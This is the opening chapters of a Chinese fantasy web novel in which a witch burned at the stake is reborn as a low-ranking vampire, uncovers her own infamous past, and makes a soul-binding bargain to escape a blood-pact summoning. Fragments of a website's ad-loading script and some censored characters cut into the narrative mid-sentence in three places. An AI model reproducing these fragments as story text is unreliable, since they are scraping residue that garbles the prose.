《致两千年后的阿卡莎》 1. 失传的复活法阵 传说邪恶的女巫被火刑处死后,连剩下的灰烬都带有恐怖的诅咒。 黑色的雨水落在了拉普塔小镇,一点点流过凹凸不平的石缝,像堆扭曲的虫子,逐渐爬向堆积在墙角的尸体上。 死去的人们像刚从锅里捞出来的面条,软绵绵地贴在一处。在闪电照亮半边天空的那刻,可以清晰地看见他们可怖的脸。 穿着灰色大斗篷的吸血鬼站在街口,斗篷下伸出一双枯瘦细长的手来,捧着闪着诡异红光的小罐液体,映照着瘦削而苍白的脸,雨水不停地落在那些玻璃瓶上,好似与那液体搅合在一处。 疫病已经缠绕着这个可怜的小镇整整两周了,但直到人们的尸体在街头巷尾随处可见,也没等来圣教徒们的救治。 逐渐被恶魔蛊惑的人类们啊,只能拖着残破的身体疯狂地抢夺吸血鬼手上的圣药,当然,他们已经不会管那是恶魔还是圣子,或者是别的什么,只要能随便编一句关于治病神药的谎言,就足以让他们趋之若鹜了。 这群人里有一对开农场的夫妇,他们最心爱的女儿正躺在家中奄奄一息,顾不上自己,那个已经走到末路的老妇人,挤破了头抢到了那瓶圣药,此刻正激动地要流出眼泪。 灰暗的房间里,阿卡莎听到隐隐之中有人正呼唤着自己,口中低吟着什么从未听过的咒语。闪烁着白光的六芒星法阵显现,转动着,又在一刹那间消失不见,房间恢复了黑暗。床上的少女在此刻缓缓睁开了眼,她艰难地抬起自己的胳膊,哦,天呐,那简直不是胳膊,就是一根干枯的树枝,阿卡莎忍不住惊叹。过了好一会儿,她发觉有人正站在她床边,絮絮叨叨地说些什么。 “我可怜的女儿,喝了药就会好起来的,愿神保佑……” 那罐液体终于进到了阿卡莎的肚子里,老妇人松了一口气,仿佛完成了作为一个爱女心切的圣教徒的使命。 那味道真怪,好似什么动物的血,流经阿卡莎的喉咙时,竟有些发烫。她的意识再次陷入了黑暗,她感到身体里有东西在四处乱窜,像座要在体内喷发的火山。那感觉让她想起死前被绑在木肋架上,被光明之火灼烧的痛苦。 外面的天空是发暗的紫红,尖叫声、啃食声、银剑刺破□□的声音……..一切似远似近,如同蓝绿色的磷火,在脑海中跳动。 阿卡莎再次睁开了眼,毫不费力地从床上坐起。下巴、脖子、直到胸口一大片地方,都传来黏腻濡湿的感觉,白色的床单上更是溅满了红色。逐渐氧化暗红的血迹,散发着腥臭刺鼻的味道,却让阿卡莎忍不住耸了耸鼻子,不自觉咽了咽口水。舌尖动了动,却舔到了一颗有些硌人的尖牙。 说实在的,她没想过自己会重生,也没想过会变成一只吸血鬼。在她生活的近千年里,由莱特帝国统治的时代,关于复生的法阵就已经失传了。 阿卡莎好奇地看了看自己白森森的两只胳膊,所有的令人不解和困惑的谜团在这具真切又陌生的身体面前又被暂时忽视了,原谅她已经不知多久没像现在这样灵活地感知世界了。当然,她也意识到,这具新身体里没有一丝一毫魔力的涌动,有的只是一对可笑的尖牙和异常敏感的嗅觉。 而大部分的生前的记忆,像是被波浪搅散后漂浮在水面上的破碎星光,忽明忽暗,无法触及。 阿卡莎皱眉努力地回忆着当初被烧死的理由,结果却一无所获。无奈之下,她决定先离开这里,一点点探寻真相。阿卡莎将自己狼狈的身子收拾了一番,走出了这个简陋的木头房子。 此时的拉普塔小镇已然沦为地狱,火光四起,狰狞的怪物嘶吼着将人类吞进肚子里,滚烫的鲜血落了一地。阿卡莎捂着鼻子,快步走过一个小巷,这一路上都落满了人类的残骸,她没发现,那可怜老夫妇的尸体就躺在其中,睁着灰白色的眼睛看着她匆匆离去。 阿卡莎躲在了某个墙角,小心翼翼地把头靠在一具有些发丑的尸体上,这对一只吸血鬼来说,无疑是一场酷刑。但那些红皮怪物没有发现隐藏在死人堆里的活物,在狂躁地拿爪子刨了两下地后就离开了。 不远处就是一大片森林,阿卡莎已经有些迫不及待了,她迫切地想进入自己曾经无比熟悉的领域。一开始她就朝着那边去的,没错,女巫对此都很敏感。 可当她刚走出角落,屋顶上滑下来一串石块,下一秒,一只通体发红的、体毛稀疏的怪物从天而降,落在了少女面前。卷起的风把她的斗篷帽子吹开,露出那头暗红色的长发,阿卡莎几乎是下意识地想使用魔法,但回应她的只有怪物恶心的大嘴,和随着吼叫传来的温热难闻的气体。她想她真的要晕过去了,感觉自己就像被泡在一锅加了腐烂死鱼的臭奶酪汤里一样。 就在这时,一个身影跳上了怪物的后背,那人掏出一把闪着白光的短柄银刀,飞快地刺进了那怪物的喉咙。一大股黑紫色的血液喷涌而出,猝不及防地落在了晕头转向的阿卡莎身上,这下 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 倒霉的女巫,噢不,是倒霉的吸血鬼,彻底晕了过去。 不知过了多久,阿卡莎鼻尖传来些枯枝败叶和潮湿泥土的芬芳。她咽了咽干涩的口水,一点点睁开了眼。眼前出现了一个有着金色兽瞳的蒙面人,正用极其警惕的眼神看着她。阿卡莎这才发觉,自己正被绑在一根树干上,手脚不自觉地挣扎了几下却动弹不得,她想开口说话,却发现嘴也被绑住了,只能从喉咙里发出些呜呜声。那两颗尖牙就这么暴露在外,显得更滑稽了。 “你就是这次的疫魔人?” 阿卡莎露出了茫然的神色,她感到自己对那双金色眼睛的某种熟悉,但又对眼睛主人说的听不懂的话感到不解。她摇摇头,仔细盯着那个少年。 “狡猾的吸血鬼,别撒谎了,你身上有阿尔曼德的血契标志。你现在有两个选择,第一,现在告诉我,第二枚金币在哪里,第二,你可以继续装傻,然后等着我把银匕首扎入你的心脏。” 说完那人打了个响指,阿卡感到莎嘴上的束缚一松,那布条摇摇晃晃地飘到少年面前,在他万分嫌弃的眼神中被点燃,顷刻间化作了灰烬。 这人居然会魔法,阿卡莎忍不住有些兴奋,但对方看起来不是很想跟她讨论修习心得。眼前闪着寒光的匕首,又朝她靠近了几分。 “很抱歉,我真的对你说的一切一无所知,不是装傻,我可以向月神起誓。有违誓言,即刻灰飞烟灭。” 人们都知道,能约束邪恶的吸血鬼们的,除了银器和圣水,还有契约成功的月神之誓。现在想来,神真是宽宏大量,居然给了这些被诅咒的生物们被信任的机会。当然,99%的吸血鬼们不会使用契约,准确来说,是不屑于用。 他们痛恨神,痛恨诅咒,尤其是这仿佛施舍似的机会。 落在少女身上的带着繁复纹样的红色光圈,一点点变成了白色,犹如淡淡的月光,里德一时间有些惊讶。 见自己的话得到了证明,阿卡莎也松了口气。 少年看着这只天真无辜的吸血鬼,天呐,这几个词摆在一起真是说不出的怪异。但话说回来,这没用的低等吸血鬼让他的线索又断了,里德烦躁地磨了磨牙,感觉尾巴都要冒出来了。 他跳上一棵枝干粗壮的老树,顿了顿,最后挥手解除了魔法。阿卡莎感到绑在身上的身子断成一节一节的,落在地上。 她抬头望去,却只看见远处晃动的树丛,早已不见少年的踪影。 2. 幽拉斯泰 幽拉斯泰——亡灵之城,位于拉普塔小镇边界。整座城市建于水上,是属于吸血鬼魔党的领地之一。 阿卡莎已经走到了森林的尽头,整整两天一夜,也没见到活物,她早已经饿的头晕眼花。脚下的土壤越来越湿润,耳边依稀传来汩汩水声。 如果此刻是前世的阿卡莎在这,她绝对不会再莽撞地往前走了。幽拉斯泰被称为亡灵之城,很大一部分原因来自眼前的骸河。 生者不入,死者无骸。漆黑的河水里生活着一种怪物,他们跟矮人体型相似,全身上下光秃秃的,像团恶心的肉球。和人鱼一族相比,同样都是生活在水里,这种叫卜比尔的生物可以说是丑陋至极。可能正是因此失去了诱惑的能力,从而导致他们的攻击性非常强。 这些可怜又敏感的生物,最喜欢吃别的生物的眼睛。 极度渴望鲜血而导致的眩晕让阿卡莎没有发觉到自己已经进入了卜比尔的领地。她感到眼前像蒙了层古怪的血雾一般,脖子上的印记正在火烧似的发疼。 一只滑腻肿胀的爪子从水面伸出,抓向女孩裸露的脚踝。圆乎乎的肉脑袋飞快地往岸边游动,那上面布满了大大小小的眼睛,此刻正因为兴奋眨个不停。 模糊中,阿卡莎看着岸边突然多出来的地方,几乎是不加思考地一脚踩了上去。 “叽——”地一声,这只被踩中眼睛的卜比尔发出痛苦的怪叫。 被声音一惊的阿卡莎,逐渐察觉到了脚下不同于泥土的奇怪触感。她猛地睁了睁眼,一片红雾中,有一堆陷在□□里的眼睛正恶狠狠地盯着她。 阿卡莎以女巫之名发誓,她一定要改掉不穿鞋子的坏毛病。 卜比尔头上沾满了泥土和细草,它快要气得爆炸了,恨不得钻出水面把这个该死的生物嚼碎了吞进肚子里。 阿卡莎的嘴唇被锋利的尖牙划破了,往外渗出血珠来。她情不自禁地舔舐嘴边的血液,蓄力转身向森林方向跑去。卜比尔才不会放过这个到手的猎物,它猛地抓住了阿卡莎的斗篷,把人拖倒在地上。阿卡莎感到自己的脚一点点浸到了冰凉的河水里,她刚解开斗篷的扣子,卜比尔的爪子却抓上了她的小腿。 阿卡莎不得不在脑海中疯狂回忆关于女巫修习时期阅读的怪物图鉴,试图找出解决办法。鲜血不停地流下,滑过下巴滴进泥土里。天啊,这该死的,脑子里除了血想不到任何东西。 双手在地面胡乱摸索,却只抓到一根坚硬的树枝,没有犹豫,她用力地蹬着腿,扭过身子,将那树枝扎向腿上的爪子。 “叽——叽——”卜比尔的爪子被扎伤了,尽管只蹭破了表皮,但这足够让它们发狂。阿卡莎落水了,很明显,一只饿了很久的最低阶吸血鬼,根本没力气抵抗愤怒的卜比尔。 糟糕的是,这声音还吸引着其他卜比尔靠近。河水又浓又黑,散发着刺鼻的腥味,阿卡莎用手上仅有的,称不上武器的树枝,往卜比尔头上刺去。 骸河上空,几只蝙蝠正盘旋着向上飞去,翅膀扇动的声音忽地一下拔高,一个如影子般瘦长的男人出现在空中,身后紫红的双翼展开,遮住了一片月光。 他垂眸盯着那处荡漾着波纹的水面,却没有任何动作。 阿卡莎早该想到,自己会有和怪物肉搏的一天。恶心浓稠的河水搅得她头疼,而卜比尔正拖着她的身子往下沉,阿卡莎习惯性地念着攻击法阵咒语,却感到灵魂深处传来刺痛。她没忍住呛了一大口水,窒息感席卷而来。 不,她还不能死。这强烈的念头如言灵一般在脑海中响起,令她灵魂震颤。 克鲁普托懒懒地把手插在西裤口袋里,朝空中吹了个口哨。 “主人,她好像要死了,要救吗?” 那蝙蝠扇动翅膀的速度快了些,双眼红光灼灼。 “那老东西的又往血里加什么东西了,这次的血契好像能影响到吾。” “您没事吧?主人。额,那女人….” “啧,把人给我带回来,只剩半截了也带回来。”没等人说完,那蝙蝠直接在空中炸成了血沫,消失不见。 水面上哗啦一声,一只惨白的手摸向河岸,紧接着半个身子露出了水面。阿卡莎全身都湿透了,脸上、身上都是黑色的水珠在不停地往下滴,她艰难地爬上岸,瘫软在离河不远的半截树干边上,剧烈地咳嗽着。 黏在身上的白色连衣裙早就变了颜色,从下巴一直延伸到胸口,都是紫蓝色的大摊浓稠液体,散发着怪异的味道。 克鲁普托看着浮上水面的卜比尔尸体和尸体上触目惊心的血洞,挑了挑眉。他落在地面上,看着脚下分辨不出颜色的湿润泥土,有些嫌弃地皱了皱眉。 此刻缓过神来的阿卡莎感到胃里阵阵翻涌,忍不住弯腰呕吐。紫蓝色的血液落在泥地里,向四周扩散。那血的气味着实令人作呕,嗅觉极其发达的克鲁普托忍不住翻了个白眼,拿手帕捂住了鼻子。 一切都是,呕——为了,呕——主人。 猝不及防地,阿卡莎被人提着后衣领拎起来,悬在空中。她看着自己脚下的骸河,忍不住把脚往上蜷缩了几分。两阵风的功夫,她就被强制落地了。 眼前出现由漆黑的石头铺成的崎岖路面,还可以在其中看见白色的不知名生物的骨头。抬眼望去,大小高低不一的房子胡乱地排列在街面,长着一口黑牙的毛脚矮人,提着筐幽蓝色的蝴蝶,倒进门口的骷髅头制成的灯罩里,瞬间迸发出的紫色、橙色的火焰窜到阿卡莎面前,火舌好似要冲进她淡红色的瞳孔里。 头顶有什么东西飞过,巨大的翅膀完全遮蔽了月亮的光辉,衬得火焰更加耀眼。 “hemata”几个字歪歪扭扭地挂在房檐上,外观酷似一口大棺材,里头更是黑漆漆一片,看起来阴森诡异,但却有浓烈甘甜的血味源源不断地从店门口飘出。 阿卡莎几乎是吐了一路,途中还把几匹长毛马惊得屁股乱拱。跌跌撞撞地跟着克鲁普托到了店门口,在血味的刺激下打起了点精神。 hemata门口上有个书架,大部分是一些历史书,其中一本名叫《光明圣子和邪恶女巫》的书,最为醒目。 这本书记录了两百年前,一个邪恶强大的女巫阿卡莎,使用了禁忌 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的黑魔法,打开了一部分的地狱之门,怪物现世,黑暗侵蚀,导致了莱特帝国的覆灭,彻底开启了混沌时代。光明圣子加尔沙与女巫大战三百回合,最后光明战胜了邪恶,女巫被绑上十字架烧死,雷姆利亚大陆也终于迎来了一线希望。 被圣火烧死的黑暗女巫,阿卡莎·莫温,为什么和她同名? 阿卡莎感到说不出来的古怪,脑袋还传来一阵钻心的疼。眼前突然出现了一个盛满暗红色液体的玻璃杯,克鲁普托的声音从不远处传来。 “小姐,请把这个喝了吧。” 尽管脑海中混乱一片,但吸血鬼的本能让她尖牙发痒,忍不住咽了下口水。 克鲁普托没见过哪个饿到要吸卜比尔的血液的低阶吸血鬼,面对这样的诱惑还能犹豫一秒的,于是他用尖长的黑色指甲将杯子向前推了推。 “相信我,小姐,这只是杯普通且美味的人血而已。” 阿卡莎伸手握住那杯甚至还温热的液体,一股脑全喝了下去。 血液充斥着口腔的感觉很奇妙,仿佛一股暖流冲遍全身,眼前的一切都变得清晰,一瞬间,她仿佛能听到几公里外的半马人在地毯上蹭蹄子的声音。 看着女孩眼中闪动的饱满清透的血色,准备出发面见主人的克鲁普托理了理自己整齐的刘海,从口袋里掏出一小片羊皮纸。 “小姐,我们走吧。” 阿卡莎已经完全恢复了体力,在听到克鲁普托说话的时候,她正低垂着脑袋,叫人看不清脸上的表情。 她想起先前听到的克鲁普托和主人的对话,目前的安全,其实是因为自己身上的契印非同寻常。 但此刻,她隐隐有些不大好的直觉。 羊皮纸在指尖燃起,霎那间消失不见。两人所站的地方出现了一个圆形的红色法阵,从外向内,那法阵泛着光,越来越亮。 见到契印的主人之后,她就会完全受人摆布,到那时,想挣脱就不是简单地能依靠意志力解决的事了。阿卡莎意识到,眼下她必须想办法脱身了,至少此刻法阵还没完全起效。 她悄悄背过手去,只用力捏住了虎口处的伤口,使其流出青黑色的血来。 虽然失去了魔法和咒语,但吸血鬼的血本身带有诅咒力,一定程度上可以催动一些小型法阵。 这是她曾经在一本古书上看到的,关于血祭法阵的来源和使用方法。 级别越高的吸血鬼,血统力量更加强大,诅咒之力也就越纯净。而她,是最低层级。 具体要到什么程度,变得不大好说。 她只能用力地扒开皮肉,让血不断淌到掌心的法阵上。 忽地,耳边传来一串熟悉的咒语,阿卡莎僵住了手。 关于空间拦截和基础破坏相结合的法术,这是至少中高阶魔法师才有资格修习的法术。 克鲁普托几乎是立刻察觉到了异常,可不远处传来的光束却先一步到来。阿卡莎低头看去,地上那居然不是光束,而是一条鞭子。法阵的光瞬间暗了下去,轮廓也一点点隐去。 “终于找到你了,克鲁普托。” 3. 亡灵街1444号 少年蹲在红色的屋顶上,金色的竖瞳一眨不眨地盯着克鲁普托。那长鞭不知何时被收起,别在了腰间。 “她的金币在哪里?该死的吸血长虫。” “真是抱歉,我现在真的没工夫陪一只小狗玩。” 克鲁普托始终保持着那副优雅冷静的模样,他用如同干枯树枝般的手指在空中一划。 先是一只两只,随后大群的蝙蝠朝少年一涌而去。 零星瓦片滑落,里德灵活地跳开,他的视线落在了矮人屋前的火堆上。 “midnattssolpapalotl” 伴随咒语落下,那火焰高高窜起,橙色的火星跃上天空,犹如刹那间燃放的烟花,坠下时又化作烁亮的蝴蝶,朝黑压压一片的蝙蝠群飞去。 阿卡莎没来得及仔细欣赏绚丽的魔法秀,她在克鲁普托被少年的鞭子缠住的那刻,就飞快地逃走了。 最低等级的吸血鬼,也叫红魔。在庞大的吸血鬼族群里,能力最弱,优势是速度和隐蔽,现在想来,很有可能是为了方便逃跑而诞生的能力。 强忍着手上的剧痛,阿卡莎撕下一小片还算干净的裙角,拉紧缠绕了几圈。 水波的晃动声中,有什么东西正一下一下敲击着石壁,“咚咚....咚....”,那声音清晰地传进阿卡莎的耳朵里。她站在一片阴影处,警惕地探头看向巷子,尽管是身处不见月色的黑夜,但视野却异常明朗。视线穿过狭窄的巷口,直到尽头处,突然豁然开朗,仔细看,远处的骸河风平浪静,偶尔有黑色的水波翻动。 靠近岸边的地方,立着根破烂的木桩,上面拴了根绳子。 那底下连着的,是条船。 而且是艘完好无损的木头小船。按理来说,卜比尔会破坏任何浮在水面上的东西。 阿卡莎皱了皱眉,警惕地打量着四周。按照上辈子的模糊印象,幽拉斯泰四面环水,“人杰地灵”、“民风淳朴”,她并不怀疑有安全度过骸河的方法。 除此之外,她用手摩挲着脖子上微微凸起的契印,一时间有些头疼。 夜晚的幽拉斯泰很热闹,可以说是灯火通明。外面的嬉笑、怪叫声不绝于耳,有火光照进窄巷,巨大的影子倒映在阿卡莎身后的墙面上,形状像一只张牙舞爪的怪物,头顶还有跳动的尖刺。 红魔借助影子藏身,这是与生俱来的能力,像克鲁普托的翅膀与蝙蝠一样。于是阿卡莎屏住呼吸,一点点向黑暗的角落挪动。 “嘎啦嘎啦.....” 阿卡莎察觉到有人正朝这边走来,脚步声很轻,像片羽毛落在地上,她看不见那东西的模样,只好仔细皱紧眉头听那动静,直到那微弱的声音在拐角处戛然而止。 那东西嘴里哼着什么怪调子,站在墙边磨磨蹭蹭半天才离去。 随着火光消失,阿卡莎才走出角落,刚才她听到了东西摩擦墙壁的声音。她快步闪身到墙边,那里果然多了张纸 “nepenthe今日半价 诅咒之戒 火焰之龙的遗骨(买半只送一个血布丁) 邪恶女巫阿卡莎的手指 ....... 附注:本店遵循以物换物,用你拥有的,来换你想要的。 亡灵街1444号” 等等,谁的手指,“阿卡莎”不是被烧成渣了吗? “嘎啦嘎啦......” 那声音从不知何处传来,阿卡莎只感觉声音的主人正越走越远。没来得及多想,她还是决定跟上去看看。 走出巷子之前,她撕下了一边的袖口,把带着些血污的布料缠在脖子上,草草盖住了契印。 一路上,阿卡莎低着头,尽量靠近一些不显眼的角落,人多的时候,她就踩在别人的影子上,快速移动。一直经过了两个不同的街区,才到达了亡灵街。 这里的人明显少了很多,甚至可以说是萧索。从庞克街出来的一刹那,巨大的落差像是进入了什么异度空间一般。灰蒙蒙的街道上,只有零星的店铺还亮着灯 阴暗潮湿,房屋上随处可见的蜘蛛网,门前还有大量不知名粘液,脚下还时不时蹿过几只肥硕的老鼠。 这对阿卡莎来说倒是方便了不少,借此机会,她还看清了那怪物影子的主人。 那是一只大概到她膝盖处的骷髅,走路时头顶的火一跳一跳的,好像不爱梳头的蒙恩族矮人。 雷姆利亚大陆上没有骷髅一族的说法,眼前这只应该是有人召唤出来的。 阿卡莎看着不远处蹦蹦跳跳的骷髅,心底对nepenthe的好奇又多了几分,毕竟会死灵咒术的法师比卜比尔身上的毛还少。 几乎走到了亡灵街尽头,阿卡莎终于看到了nepenthe。那是一栋不小的房子,石头垒成的外墙被涂成了鲜艳的红色,房子周围茂密的花草,尽管样子有些诡异。整齐的,由金色晶石镶嵌组成的店名 “nepenthe”。 总之,一切和破败萧瑟的亡灵街格格不入。 看着眼前画着繁复花纹的精致地毯,阿卡莎有些尴尬地蜷缩着脚趾,她站在阴暗破败的门外,和nepenthe格格不入。 正犹豫着准备先敲门时,那木门却突然缓缓向两侧打开,一阵风伴随着咒语而来,把她的长发吹得像一把炸毛的扫帚,纯洁的淡蓝色光圈环绕在身侧,凉爽中带着独有的药草清香。 光圈淡去的一瞬间,阿卡莎裙子上的血污、湿漉漉的红色长发、脚上的泥土都恢复成了干净清爽的状态。 “欢迎光临nepenthe,亲爱的客人。” 披散的橘红色卷发,尖长的淡粉色耳朵,漂亮的雌雄莫辨。笑起来的瞬间,仿佛有无数个春天在眼中绽放。 阿卡莎呆呆地站在门口,像只被卷入漩涡的蝴蝶。 瑞拉族精灵,被称为精灵界的魅魔。拥有美神弗蒂斯的赐予的外貌天赋,这些精灵出生时没有性别,并且一生中只有一次可以选择自己的性别的机会。 “快进来吧,客人。我是nepenthe的主人,叫我瑟洛就可以。” 阿卡莎从记忆里回过神来,踏上了毛茸茸的地毯。她有些好奇地打量着这只漂亮的精灵,耳边却突然传来一堆杂乱的声音,仿佛同时有几十人在说话。 “别进来,快走。” “再不跑来不及了。” “抬头啊,抬头....” “我好孤独,留下来陪我吧.....” 她顺着其中声音,不动声色地,仰头向上瞥去。 外面看着最多两层楼高的小屋,这会儿抬头看去,居然深不见顶。 高低错落的生锈铁笼被吊在空中,向上延伸的绳子被黑暗吞没,看不清终点。密密麻麻的笼子里缩着一团团东西,阿卡莎只能依稀看清笼底。 铁栏里有什么白花花的东西往外凸出,挤成一堆。忽地,那东西像是被推挤到了极点,从底部的栏杆里滑落,掉在了阿卡莎脚边。 粘液、淡紫黑色的血迹,那是一颗眼珠。 “客人,您在看什么呢?” 瑟洛的笑脸突然出现在眼前,阿卡莎被晃地眨了眨眼睛,沉默了片刻后说道。 “很漂亮的屋顶。” “谢谢您的夸奖。” 瑟洛脸上的笑意加深,眼睛都眯成了缝,叫人看不清眼底的情绪。 “这边是本店的商品展示,您可 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 以慢慢看。” 说完后它又朝靠里的方向快走了两步,弯下腰喊道 “阿兹拉尔,还不快给来客人倒茶。” “嘎啦嘎啦,来了。” 阿卡莎刚想拒绝,骷髅跌跌撞撞地端着个盘子走到面前,明明只是一张森白的没有血肉的脸,她却好像从上面看到了谄媚害羞的表情,甚至连头盖骨上方的破洞里冒出来的火也十分欢快地跳动着。 “又来了,死老鼠的血,呕。” “快走吧....” 耳边再次响起杂音,阿卡莎低头看了看那杯“茶”,表面浮着层血沫,还散发着浓郁的腐臭气息。 “客人,来,喝杯茶。” 精灵的声音飘渺空灵,好似从远方而来。仿佛山谷中的回响,在耳边一圈圈荡开。阿卡莎发觉眼前有什么东西变了样子,清澈的淡绿色茶水,画着精美壁画的木头屋顶...... 阿卡莎叹了口气,伸手拿过那杯“茶”,仰头一饮而尽,甚至把沉在杯底的内脏都一同吞了。其实大可不必把魔法浪费在迷惑她的眼睛身上,不过是腐血而已。 况且,就算她现在出了事,想必那位契印的主人也不会好过。 整个nepenthe一时间鸦雀无声,瑟洛看着眼前娇小可爱的吸血鬼和她嘴边挂着的半截肠子,嘴角的笑忍不住僵了片刻。 虽然但是,它的幻术好像是越来越好了。 下一秒,它就看见阿卡莎吸溜一声,肠子不见了,嘴边连一丁点血迹都没留下。其实,幻术结合水元素的魔法,可以更好地改变那杯“茶水”的味道,但对自然元素魔法稀缺的死灵法师来说,莫拉草也可以起到相同作用........ “那东西幻术什么时候这么好了?” “这都吃....” “低贱的红魔,真恶心。” 想着各式各样的魔法而发呆的阿卡莎自动屏蔽了来自头顶笼子里的碎碎念,此刻她好不容易想起些什么别的东西。 于是阿卡莎压下了心底关于交流魔法的冲动,回神问道。 “老板,邪恶女巫阿卡莎的手指在哪?” 听到这话,瑟洛眼睛莫名亮了几分,它立马忽略了阿卡莎身上奇怪的违和感。 “客人您也是阿卡莎·莫温的追随者吗,本店可是有十字秘会认证誓约的哦。” 瑟洛的手指在空中点了点,一副闪着金光的契约纸便出现在手中。 没等阿卡莎看清上面的内容,那纸便消失了。片刻后,随之消失的还有华丽的商品展示柜,瞬间仿佛迷雾散去,眼前凭空出现了一条诡谲阴森的长廊。 “来吧,客人,尽情挑选。” 瑟洛一改虚伪夸张的笑脸,眼里露出了真实的狂热。它利落地扯下阿兹卡拉的脑袋,借着骷髅头顶冒出的火光走进黑暗的长廊。 这条长廊,记录了邪恶女巫阿卡莎的传奇一生。出生在辛特拉,觉醒魔法天赋,用不到千年时间成为了第一女巫,而从这里开始一直到被烧死的中间经历,变得非常的潦草,可以说是一笔带过。 大概跟历史书里写的一样,女巫堕落后用邪恶的魔法带来了无尽的黑暗与痛苦,一时间生灵涂炭。 再往上看,最上方挂着的是一副精心装裱的女巫肖像画。 闪烁的、幽暗的光下,那人披着斗篷,身姿高挑修长,再往上是凌厉但熟悉的眉眼。皱眉看完全部内容的阿卡莎,终于忍不住在此刻摒住了呼吸。 好似有道混沌的火焰直直地坠入脑海,将先前一切隐隐怀疑的幻觉灼烧殆尽。 她睁大了眼睛,此刻强烈的困惑与割裂感正反复冲击着心灵。可那该死的关键性记忆早抛弃了大脑,不翼而飞。 4. 瓶装幻境 这种感觉极其的诡异,烛火下,画上女人的墨绿色瞳孔,真切迷人,熠熠生辉。 所以,邪恶女巫不仅和她同名,居然还和她长得一模一样。 世上再没有这么多巧合的事了,从样貌,名字,故乡,擅长的魔法,....... 还有,脑海中曾闪过的,死前被圣火烧死的画面。 她之前居然就这么自然而轻松地接受了,天呐,现在想来,该死的,她为什么会被人们绑上木架烧死呢? “神啊,她真美!” 阿卡莎混乱的思绪被打断,感叹声从身边传来,她睁大眼睛,呆愣了几秒。 “我愿意为她献上我的身体和灵魂。” 瑟洛正痴痴地望着画像上的女人,自顾自地喃喃道。脸上还带着些红晕,眼底的颜色好似比火还要浓烈。 “嗯,那么阿卡莎的手指在哪?” “别着急,我亲爱的客人。” “看这边。” 瑟洛不知何时已经收回了望着那画像的炙热眼神,低声在她耳边说道,语气还颇有几分咬牙切齿地意味。 眼前果然出现了展示柜,科切语写成的文字悬浮空中,像跳动的烛火。 “美丽强大邪恶的女巫阿卡莎小姐的手指,价格:???” “本商品为非卖品,价格为合照收取费用,今日半价哦。” 瑟洛刻意加重了咬字,眼神似有若无地地游荡在阿卡莎脸上,它正迫切想要看女孩得知自己被捉弄后的羞恼反应。 阿卡莎仍是对瑟洛的虚假宣传没有多大反应,只是直直地盯着眼前的展示柜。她仔细凑近打量,红色的鹿绒布上里躺着一截干枯焦黑的手指,不像是手指,看上去就像根普通树枝。 并且好像并没有什么咒力涌动。 没有等到预想中的反应,瑟洛有些失望撇了撇嘴,像是失去了兴致一般,它朝走廊尽头做了个弹指的动作。 远处隐约传来哎哟一声。 “客人,这是交易协议,您可以先看看。” 阿兹卡捂着脑袋拉跌跌撞撞从走廊尽头跑来,手上还捧着一卷羊皮纸。 阿卡莎挠了挠脖子,朝声音方向看去,愣了片刻,便伸手拿起那卷纸。从刚才开始,她总感到脖子一阵阵的发痒。 拿起卷子的瞬间,阿卡莎看到卷子上咒文流动,似有层纱笼罩在上面,又是幻术。只不过这次她没来得及看清卷子上的原文。 “客人,您的手.....”瑟洛 阿卡莎低头看去,那只原本已经止血的手不知为何又渗出血来,顺着手指尖滴落到地上。瞬间一股糟糕的直觉袭来,脖子上的契印开始发烫,下一秒剧痛袭来,令她撑不住身子。 血契强制召唤,为什么之前在掌心画下的法阵会在此刻生效,明明先前已经被她打断了。 两相对冲下,阿卡莎觉得身体里仿佛有什么东西在撕裂,全身血液加速流失的疼痛让她冷汗直下。 “又是阿尔曼德的人,没意思。” “不过你,马上就是我的了。” 声音断断续续传入耳中,不甚清晰。阿卡莎大口喘着气,身下泛着红光的传送阵若隐若现。她现在的力量实在太弱,没办法继续支撑血祭法阵,再这样下去,没等传送阵彻底生效,她全身的血液就会被法阵抽干。 但如果现在解除咒语,她就会被立刻传送到吸血鬼的大本营,不出意外,契印的主人至少是贵族级的纯种吸血鬼,到时候会发生什么,就不好说了。 “逃.....逃生的机会,这个可以当作“商品”吗。” 阿卡莎顿了顿,又立刻补充道。 “除了生命,我可以用我所拥有的来交换” “当然可以,我亲爱的客人。” 瑟洛毫不意外地挥了挥手,那羊皮纸便径直飘到阿卡莎的面前,落款处的一角还向上跳了跳。 阿卡莎颤抖着手指,用血在纸上歪歪扭扭地画完了符号,终于是脱力似的倒在地上。 “交易成功!” 瑟洛收起卷轴,低声念出一串咒语。女孩身下的传送阵瞬间被黑色的华丽咒文强势覆盖,那咒文如藤蔓般向四周扩散,带着些森冷的气息。 阿卡莎在咒语念出的一刻解除了血祭法阵,她扯下被血液浸湿的布条,伤口狰狞,但好在血已经止住。很快,随着传送阵的消失,脖子上的印记也逐渐恢复平静。 美丽的精灵蹲下身子,像朵糜烂绚丽的花绽放眼前,手中不知何时多了根木制的烟管。 “交易该生效了,客人。” 一口烟从唇间吐出,带着点热气,吹向阿卡莎的脸。 幽暗的长廊忽地消失,像是幕布拉开,光亮涌入周围。整个nepethe恢复了原本的样子,墙壁上挂着大小不一的女巫画像,天花板上坠满笼子,耳边是铁链不断晃动的声音。精灵褪去温柔甜美的假面,像塞卡岛上拖着水手入海的恶人鱼。 在一阵阵尖叫与不明生物的嘶吼中,瑟洛的声音却异常清晰地传入脑海。 “您要帮我找到阿卡莎·莫温的三枚硬币。” “如果到期未付,圣烛节一过,客人您的灵魂将属于我。” 瑟洛笑着,笑得耳朵轻颤,连耳朵尖上的银环都清脆地碰在一起。 死灵法师从不轻易讨论灵魂,越接近生命的本质,堕落与黑暗越是如影随形。而回收灵魂的咒术,只存在于地狱。 阿卡莎低头看去,无名指上隐隐出现了一条黑线,仿佛延伸至心脏。除此之外,她没有感受到任何灵魂上的变化。 尘世初纪开始,万物都有本源,尘世初纪的传说中,世间万物源头本是一处,是团纯粹的,流动的火焰,最后汇聚在圣河克戎姆里。从中诞生的生命,获得了感知与探寻内里的本能。 简单来说,初生的婴儿,认识到世界的第一步,就是与自己的灵魂对话。 当一株草从土里被缓缓拔出,腥黄的根络微微剥落,就这么一半在土里,一半露在外面,所带来的痛苦是不可避免的。 